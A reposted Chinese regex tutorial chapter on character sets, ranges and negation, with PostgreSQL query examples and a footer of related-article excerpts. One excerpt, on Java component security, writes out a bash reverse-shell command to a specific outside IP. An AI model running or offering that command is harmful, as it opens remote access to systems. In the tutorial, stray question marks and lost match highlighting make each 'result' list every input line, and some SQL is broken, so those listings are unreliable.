3、匹配一組字符

在本章里,你將學習如何與字符集合打交道。

與可以匹配任意單個字符的.字符(參見第2章)不同,字符集合能匹配特定的字符和字符區間。


3.1 匹配多個字符中的某一個

第2章介紹的.?字符,可以匹配任意單個字符。

當時在最后一個例子里,我們使用了.a?來匹配na?和sa?,使用了.?來匹配n?和s?。現在,如果在那份文件清單里增加了一個名為ca1.xls?的文件,而你仍只想找出na?和sa?,該怎么辦?別忘了.?也能匹配c?,所以文件名ca1.xls?也會被找出。

①看下面的例子

文本

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

正則表達式

.a.\.xls

結果

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

既然只想找出n?和s?,使用可以匹配任意字符的.顯然不行——我們需要的不是匹配任意字符,而是只匹配n?和s?這兩個字符。

在正則表達式里,我們可以使用元字符[?和]?來定義一個字符集合。只有該字符集合內的字符之一(但并非全部),才可以滿足匹配條件。

--PostgreSQL
with t1 as (
select 'sales1.xls' txt union all
select 'orders3.xl' txt union all
select 'sales2.xls' txt union all
select 'sales3.xls' txt union all
select 'apac1.xls'  txt union all
select 'europe2.xl' txt union all
select 'na1.xls'    txt union all
select 'na2.xls'    txt union all
select 'sa1.xls'    txt union all
select 'ca1.xls'    txt 
)
select * from t1 
where txt ~ '.a.\.xls'

??

下面這個例子與第2章的最后一個例子相似,但在這次的正則表達式里使用了一個字符集合。

②看下面這個例子:

文本

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

正則表達式

[ns]a.\.xls

結果

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

分析

這里使用的正則表達式以[ns]?開頭,這個集合將只會匹配字符n?或s?之一(但不匹配字符c?或其他字符)。[?和]?不匹配任何字符,它們只負責定義一個字符集合。

接下來,正則表達式里的普通字符a?匹配字符a?,.?匹配一個任意字符,\.?匹配.?字符本身,普通字符xls?匹配字符串xls?。

從結果上看,這個模式只匹配了3個文件名,與我們的預期完全一致。

注意 雖然結果正確,但模式[ns]a.\.xls?并非完全正確。假如那份文件清單里還有一個名為usa1.xls?的文件,它也會被匹配出來(開頭的u會被忽略,匹配剩余的sal.xls?)。這里涉及了位置匹配問題,我們將在第6章對此做專題討論。

提示 正如看到的那樣,對正則表達式進行測試是很有技巧的。驗證某個模式能不能獲得預期的匹配結果并不困難,但如何驗證它不會匹配到你不想要的東西,可就沒那么簡單了。

with t1 as (
select 'sales1.xls' txt union all
select 'orders3.xl' txt union all
select 'sales2.xls' txt union all
select 'sales3.xls' txt union all
select 'apac1.xls'  txt union all
select 'europe2.xl' txt union all
select 'na1.xls'    txt union all
select 'na2.xls'    txt union all
select 'sa1.xls'    txt union all
select 'ca1.xls'    txt 
)
select * from t1 
where txt ~ '[ns]a.\.xls'

?

字符集合,在不需要區分字母大小寫(或者是只需匹配某個特定部分)的搜索操作里,比較常見。

③比如說:

文本

The phrase "regular expression" is often
abbreviated as RegEx or regex.

正則表達式

[Rr]eg[Ee]x

結果

The phrase "regular expression" is often
abbreviated as RegEx or regex.

分析

這里使用的模式包含兩個字符集合:[Rr]?負責匹配字母R?和r?,[Ee]?負責匹配字母E?和e?。這個模式可以匹配RegEx?和regex?,但不匹配REGEX?。

提示  如果你打算進行一次不需要區分字母大小寫的匹配,不使用這個技巧也能達到目的。這種模式最適合用在從全局看需要區分字母大小寫,但在某個局部不需要區分字母大小寫的搜索操作里。

--PostgreSQL
--將RegEx、regex、Regex or regEx,全部識別出來,并替換為XXXXX
with t1 as (
select 'The phrase "regular expression" is often'  txt
union all	
select 'abbreviated as RegEx or regex.'
)
select txt,regexp_replace(txt,'[Rr]eg[Ee]x','XXXXX','g') 
from t1
where regexp_replace(txt,'[Rr]eg[Ee]x','XXXXX','g')

?


3.2 利用字符集合區間

我們再來仔細看看,那個從一份文件清單里找出特定文件的例子。

我們剛才使用的模式[ns]a.\.xls?還存在另外一個問題。如果那份文件清單里有一個名為sam.xls?的文件,結果會怎樣?顯然,因為.?可以匹配所有的字符,而不是僅限于數字,所以文件sam.xls?也會出現在匹配結果里。

這個問題可以用一個包含全部數字的字符集合來解決。

①看如下例子:

文本

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
sam.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

正則表達式

[ns]a[0123456789]\.xls

結果

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
sam.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

分析

在這個例子里,我們改用了另外一個模式,這個模式的匹配對象是:第一個字符必須是n?或s?,第二個字符必須是a?,第三個字符可以是任何一個數字(因為我們使用了字符集合[0123456789]?)。注意,文件名sam.xls?沒有出現在匹配結果里,這是因為m?與我們給定的字符集合(10個數字)不相匹配。

with t1 as (
select 'sales1.xls' txt union all
select 'orders3.xl' txt union all
select 'sales2.xls' txt union all
select 'sales3.xls' txt union all
select 'apac1.xls'  txt union all
select 'europe2.xl' txt union all
select 'na1.xls'    txt union all
select 'na2.xls'    txt union all
select 'sa1.xls'    txt union all
select 'ca1.xls'    txt 
)
select * from t1 
where txt ~ '[ns]a[0123456789]\.xls'

?

在使用正則表達式的時候,會頻繁地用到一些字符區間(0~9?、A~Z?等)。為了簡化字符區間的定義,正則表達式提供了一個特殊的元字符:可以用-?(連字符)來定義字符區間。

②下面還是剛才那個例子,但我們這次使用了字符區間:

文本

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
sam.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

正則表達式

[ns]a[0-9]\.xls

結果

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
sam.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

分析

模式[0-9]?的功能與[0123456789]?完全等價,所以這次的匹配結果與剛才那個例子一模一樣。

字符區間并不僅限于數字,以下這些都是合法的字符區間。

?A-Z?,匹配從A?到Z?的所有大寫字母。

?a-z?,匹配從a?到z?的所有小寫字母。

?A-F?,匹配從A?到F?的所有大寫字母。

?A-z?,匹配從ASCII字符A?到ASCII字符z?的所有字母。這個模式一般不常用,因為它還包含[?和^?等在ASCII字符表里排列在Z?和a?之間的字符。

字符區間的首、尾字符可以是ASCII字符表里的任意字符。但在實際工作中,最常用的字符區間還是數字字符區間和字母字符區間。

提示 在定義一個字符區間的時候,一定要避免讓這個區間的尾字符小于它的首字符。例如[3-1]?,這種區間是沒有意義的,而且往往會讓整個模式失效。

注意 -??(連字符)是一個特殊的元字符,它只有出現在[??和]??之間的時候才是元字符。在字符集合以外的地方,-?只是一個普通字符,只能與-本身相匹配。因此,在正則表達式里,-字符不需要被轉義。

在同一個字符集合里可以給出多個字符區間。比如說,下面這個模式可以匹配任何一個字母(無論大小寫)或數字,但除此以外的其他字符(既不是數字也不是字母的字符)都不匹配:

[A-Za-z0-9]

這個模式是下面這個字符集合的簡寫形式:

[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789]

如你所見,字符范圍使得正則表達式的語法變得簡潔多了。

with t1 as (
select 'sales1.xls' txt union all
select 'orders3.xl' txt union all
select 'sales2.xls' txt union all
select 'sales3.xls' txt union all
select 'apac1.xls'  txt union all
select 'europe2.xl' txt union all
select 'na1.xls'    txt union all
select 'na2.xls'    txt union all
select 'sa1.xls'    txt union all
select 'ca1.xls'    txt 
)
select * from t1 
where txt ~ '[ns]a[0-9]\.xls'

??

下面是另一個例子,這次要查找的是RGB值(用一個十六進制數字給出的紅、綠、藍三基色的組合值,計算機可以根據RGB值把有關的文字或圖象顯示為由這三種顏色按給定比例調和出來的色彩)。

在網頁里,RGB值是以#開頭,類似000000(黑色)、ffffff(白色)、ff0000(紅色)這樣,6位a~f的字母或數字結尾的形式。RGB值用大寫或小寫字母給出均可,所以FF00ff(品紅色)也是合法的RGB值。

③下面是取自CSS文件中的一個例子:

文本

div {background-color: #fefbd8;
}
h1 {background-color: #0000ff;
}
div {background-color: #d0f4e6;
}
span {background-color: #f08970;
}

正則表達式

#[0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f]

結果

div {
background-color: #fefbd8;
}
h1 {
background-color: #0000ff;
}
div {
background-color: #d0f4e6;
}
span {
background-color: #f08970;
}

分析

這里使用的模式以普通字符#開頭,隨后是6個同樣的[0-9A-Fa-f]?字符集合。這將匹配一個由字符#?開頭,然后是6個數字或字母A?到F?(大小寫均可)的字符串。

--PostgreSQL
--將所有RGB值,全部識別出來,并替換為XXXXX
with t1 as (
select '	
div {background-color: #fefbd8;
}
h1 {background-color: #0000ff;
}
div {background-color: #d0f4e6;
}
span {background-color: #f08970;
}'  txt
)
select txt
,regexp_replace(txt,'#[0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f]','XXXXXXX','g') 
from t1 

?


3.3 排除

字符集合,通常用來指定一組必須匹配其中之一的字符。但在某些場合,我們需要反過來做,即指定一組不需要匹配的字符。換句話說,就是排除字符集合所指定的那些字符。

不用逐個列出你要匹配的字符(如果只是要把一小部分字符排除在外的話,這種寫法就太冗長了),可以使用元字符^?來排除某個字符集合。

①下面來看一個例子:

文本

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
sam.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

正則表達式

[ns]a[^0-9]\.xls

結果

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
sam.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

分析

這個例子里使用的模式與前面的例子里使用的模式剛好相反。前面[0-9]?只匹配數字,而這里[^0-9]?匹配的是任何不是數字的字符,也就是說,[ns]a[^0-9]\.xls?將匹配sam.xls?,但不匹配na1.xls?、na2.xls?或sa1.xls?。

注意 ^?的效果將作用于給定字符集合里的所有字符或字符區間,而不是僅限于緊跟在^?字符后面的那一個字符或字符區間。

--PostgreSQL
with t1 as (
select 'sales1.xls' txt union all
select 'orders3.xl' txt union all
select 'sales2.xls' txt union all
select 'sales3.xls' txt union all
select 'apac1.xls'  txt union all
select 'europe2.xl' txt union all
select 'sam.xls'    txt union all
select 'na1.xls'    txt union all
select 'na2.xls'    txt union all
select 'sa1.xls'    txt union all
select 'ca1.xls'    txt 
)
select * from t1 
where txt ~ '[ns]a[^0-9]\.xls'

?


3.4 小結

元字符[?和]?用來定義一個字符集合,其含義是必須匹配該集合里的字符之一(各個字符之間是OR的關系,而不是AND的關系)。

定義一個字符集合的具體做法有兩種:

一是把所有的字符都列舉出來。

二是利用元字符-以字符區間的方式給出。

可以用元字符^排除字符集合,強制匹配指定字符集合之外的字符。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/95226.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/95226.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/95226.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

強化學習在量化交易中的禁區:回測表現好實盤虧錢的4個原因

引言 “為什么你的強化學習策略在回測中年化 50%,到了實盤卻三個月虧光本金?” 如果你做過量化交易,尤其是嘗試用強化學習(Reinforcement Learning, RL),這種場景可能并不陌生: 回測曲線平滑向上,最大回撤可控,勝率穩定 模型參數和架構調到極致,每次迭代都帶來更高的…

代碼隨想錄day62圖論11

文章目錄Floyd 算法精講A * 算法精講 &#xff08;A star算法&#xff09;Floyd 算法精講 題目鏈接 文章講解 #include <iostream> #include <vector> #include <algorithm> using namespace std;int main() {int n, m;cin >> n >> m; // 輸入…

【18】OpenCV C++實戰篇——【項目實戰】OpenCV C++ 精準定位“十字刻度尺”中心坐標,過濾圖片中的干擾,精準獲取十字交點坐標

文章目錄1 問題及分析2 多尺度霍夫直線 與 漸進概率霍夫線段 細節對比2.1 多尺度霍夫直線 HoughLines2.2 漸進概率霍夫線段 HoughLinesP2.3 HoughLines 和 HoughLinesP 所求結果細節對比2.4 為什么 HoughLinesP 直線兩端沒有呈放射狀態呢&#xff1f;直線總是平行嗎&#xff1f…

云原生應用的DevOps2(Jenkins滲透場景)

結論 Jenkins歷史漏洞 Jenkins未授權訪問 登錄后命令執行 Jenkins代碼倉庫信息 Jenkins服務器建立多臺服務器信任連接 背景 目前我看到紅隊人員的現狀,不管是什么系統就是拿Shell,拿權限,然后把這臺機器當作跳板繼續橫向其它機器。而Jenkins在內網中是經常能夠遇到的,…

Gradle 配置教程:與 Maven 對比詳解(含完整遷移指南)

一、基礎對比&#xff1a;Gradle vs Maven1.1 核心特性對比維度MavenGradle配置語言XML (冗長)Groovy/Kotlin DSL (簡潔靈活)構建速度較慢(全量構建)快2-10倍(增量構建緩存)多模塊管理<modules> <parent>settings.gradle project()依賴管理<dependencies>d…

pcl 按比例去除點云的噪點

之前halcon3d中是這么做的&#xff1b;1&#xff0c;先查找點云中每個點最近第15個最近點的距離2&#xff0c;將距離進行排序3&#xff0c;求排序后在距離數組70%位置的距離 d4&#xff0c;篩選點云中每個點半徑為d&#xff0c;近鄰點的數量大于14的點用pcl實現的代碼如下&…

站在Vue的角度,對比鴻蒙開發中的遞歸渲染

第三類 引用數據的操作 引用數據類型 又叫復雜數類型&#xff0c; 典型的代表是對象和數組&#xff0c;而數組和對象往往又嵌套到到一起 普通數組和對象的使用 vue中使用for循環遍歷 <template><div>我是關于頁面<div v-for"item in arr">{{ i…

VBS 流程控制

一. if else 和 selec case 1. if end if Dim a a2If a0 ThenMsgBox "這里是0"End if 2. if else end if Dim a a2If a0 ThenMsgBox "這里是0"Else MsgBox "這里是2" 彈窗“這里是2”End if 3. if -----elseif-------else-------end…

HCIP項目之OSPF綜合實驗

一、項目背景隨著企業分支機構地理分散化&#xff0c;跨地域網絡互聯需求激增。MGRE&#xff08;多點 GRE&#xff09;技術因適應動態拓撲、降低鏈路成本&#xff0c;成為多分支互聯的常用方案&#xff1b;OSPF 作為鏈路狀態路由協議&#xff0c;適用于大型網絡且支持可變長子網…

class and enmu class

傳統枚舉與作用域污染及enum class的詳細介紹在編程中&#xff0c;枚舉&#xff08;enum&#xff09;是一種常見的特性&#xff0c;用于定義一組命名的常量。傳統枚舉&#xff08;如C中的enum&#xff09;雖然簡單易用&#xff0c;但容易導致作用域污染問題。而enum class&…

Numpy科學計算與數據分析:Numpy數組屬性入門之形狀、維度與大小

Numpy數組屬性探索 學習目標 通過本課程的學習&#xff0c;學員將掌握Numpy數組的基本屬性&#xff0c;如形狀&#xff08;shape&#xff09;、維度&#xff08;ndim&#xff09;和大小&#xff08;size&#xff09;&#xff0c;并能夠通過實際操作加深對這些屬性的理解。 相…

IF 33.3+ 通過多區域單細胞測序解析肺腺癌的空間和細胞結構

通過多區域單細胞測序解析肺腺癌的空間和細胞結構摘要對于肺腺癌演進過程中單個細胞群的地理空間架構知之甚少。在此&#xff0c;我們對來自5例早期LUAD和14個來自腫瘤的具有明確空間鄰近性的多區域正常肺組織的186&#xff0c;916個細胞進行了單細胞RNA測序。我們發現細胞譜系…

【Redis的安裝與配置】

一&#xff1a;下載 Redis ? 百度網盤分享 &#x1f449; https://pan.baidu.com/s/1xkrLlyUPyM0btCFFpGEhcw?pwdSVIP ? 從Github下載 &#x1f449; https://github.com/MicrosoftArchive/redis/releases 二&#xff1a;安裝 Redis 1?? 將下載的壓縮包文件 解壓到 某個文…

TDSQL GTS文件說明

基于時間點恢復&#xff1a;全備xlogGTS文件 在TDSQL的備份恢復體系中&#xff0c;GTS文件是全局時間戳&#xff08;Global Timestamp&#xff09;的存儲載體&#xff0c;用于記錄事務在分布式環境中的精確執行順序和時間點 其核心作用體現在以下方面&#xff1a; 1?。時間基準…

全星APQP數字化平臺在汽車零部件行業的深度應用與效益分析

全星APQP數字化平臺在汽車零部件行業的深度應用與效益分析 全星研發項目管理APQP軟件系統是專為汽車零部件行業打造的數字化研發管理平臺&#xff0c;通過深度集成行業核心工具鏈&#xff0c;實現從產品設計到量產的全程可控。以下為該系統在汽車零部件行業的應用解析&#xf…

網絡通信安全:HTTPS協議的密碼學基石

引言&#xff1a;從HTTP到HTTPS的安全升級 在網絡通信中&#xff0c;數據傳輸的安全性至關重要。早期的HTTP協議采用明文傳輸&#xff0c;存在三大安全隱患&#xff1a; 機密性問題&#xff1a;數據在傳輸過程中可能被竊聽&#xff08;如公共Wi-Fi中的監聽&#xff09;&#xf…

pip 和 conda,到底用哪個安裝?

為什么 pip 有時裝不下來而 --prefer-binary 可以&#xff1f;什么是源代碼發行版&#xff1f;什么是輪子&#xff1f;conda 和 pip 有什么區別&#xff1f;優先用誰啊&#xff1f;兩者適合的場景&#xff08;何時用哪個&#xff09;安裝路徑&#xff1a;pip / conda 分別裝到哪…

bert學習

首先了解一下幾種embedding。比如elmo就是一個embedding模型。one-hot編碼只能實現one word one embedding&#xff0c;而我們的elmo能實現one token one embeddingElmo是基于雙向LSTM&#xff0c;所以每個詞其實會有正向和反向兩個預測結果&#xff0c;那么我們用哪個呢&#…

Java安全-組件安全

一、Xstream啟動環境并訪問接下來我們構造反彈shell語句&#xff0c;bash -i >& /dev/tcp/8.152.2.86/9999 0>&1&#xff0c;緊接著對其進行base64編碼。接下來使用命令即可首先開啟監聽接下來執行命令接下來抓包對其進行payload構造即可緊接著回去查看回顯發現成…

【10】微網優聯——微網優聯 嵌入式技術一面,校招,面試問答記錄

微網優聯——微網優聯 嵌入式技術一面&#xff0c;校招&#xff0c;問答記錄 1. 2 分鐘簡單自自我介紹2. 問一遍筆試題目3. IP地址在哪個層4.手動配置過IP地址嗎?要配哪幾個&#xff1f;5. ARP 是域名找IP地址還是IP地址找域名?6. Linux、計算機網絡、操作系統掌握的怎么樣&a…